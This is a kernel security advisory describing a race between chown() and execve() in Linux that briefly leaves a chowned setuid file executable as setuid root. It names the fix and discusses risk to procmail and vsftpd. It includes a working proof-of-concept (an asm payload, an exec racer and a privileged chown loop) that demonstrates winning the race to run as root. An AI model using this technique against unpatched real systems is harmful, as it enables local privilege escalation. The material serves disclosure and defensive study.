# Linux chown() was racy relative to execve()

On non-ancient Linux machines, chown() clears the setuid and setgid bits. However, until now, that was racy relative to execve(): While chown() took the i_mutex while modifying owner, group and mode, execve() didn't take that lock. Because chown() also set the user and group before setting the mode, this meant that when root chown()ed an attacker-owned setuid file to root, the file briefly was setuid root (and executable as such). This was fixed here by taking the i_mutex in the execve path: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8b01fc86b9f425899f8a3a8fc1c47d73c2c20543 Two programs for which this could be relevant are procmail and vsftpd. vsftpd has this comment in privops.c (relevant only if the chown_uploads option, which defaults to NO, is activated in the server config, see process_post_login_req() in postprivparent.c):
/* SECURITY! You need an OS which strips SUID/SGID bits on chown(),
* otherwise a compromise of the FTP user will lead to compromise of
* the "anon_upload_chown_uid" user (think chmod +s).
*/

procmail, when setuid root, does this when invoked as "procmail -d daemon" if
/var/mail/daemon does not exist yet (thanks to jduck for pointing me towards
procmail):
chown("/var/mail/_QmG.F0wHVB.pc", 1, 8)
As far as I can tell, on a system where procmail is setuid root, this means that an attacker who has gained access to the "mail" group, which has write access to /var/mail, can use the chown race to escalate access to any non-root uid. (procmail optimizes the chown away for root's mailbox.) Note that *stat() can still show inconsistent data about uid, gid and mode. This wasn't changed because the stat path is a lot hotter than execve and this seems like a much bigger issue for execve() than for *stat(). Here's a simple PoC. exec.c is the attacker, chown2.c is the (privileged) victim. You'll see the message "got root!" every time the attacker wins the race. Your console should get spammed with those messages rather quickly if you don't uncomment the usleep - if you do uncomment it, it might take a while to succeed or not work at all. On my desktop machine, it still won the race for 6% of all attempts, but on another machine, it seems like it doesn't work at all with the usleep. -------------------------------------------------------------------- # just use asm to avoid overhead of dynamic loader
$cat > a.asm bits 64 _start: mov rax, 107 ; SYS_geteuid syscall test rax, rax jnz exit mov rax, 1 ; SYS_write mov rdi, 1 ; stdout mov rsi, msg mov rdx, len syscall exit: mov rax, 231 ; SYS_exit_group mov rdi, 0 syscall msg db 'got root!',0xa len equ$ - msg
$nasm -f elf64 -o a.o a.asm && ld -o a a.o ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080$
cat > exec.c
#include <stdio.h>
#include <unistd.h>

int main(void) {
int i = 0;
while (1) {
pid_t pid = vfork();
if (pid < 0) return 1;
if (pid == 0) {
char *argv[] = { "a", NULL };
execve("a", argv, argv);
puts("execfail");
return 1;
}
wait(NULL);
}
}
$gcc -o exec exec.c$ cat > chown2.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main(void) {
int fd = open("a", 0);
if (fd < 0) return 1;
while (1) {
//usleep(100000); /* uncomment to make it a bit more realistic */
if (fchown(fd, 0, 0) < 0) return 1;
if (fchown(fd, 1000, 1000) < 0) return 1;
if (fchmod(fd, 06755) < 0) return 1;
}
}
$gcc -o chown2 chown2.c$ sudo ./chown2 & ./exec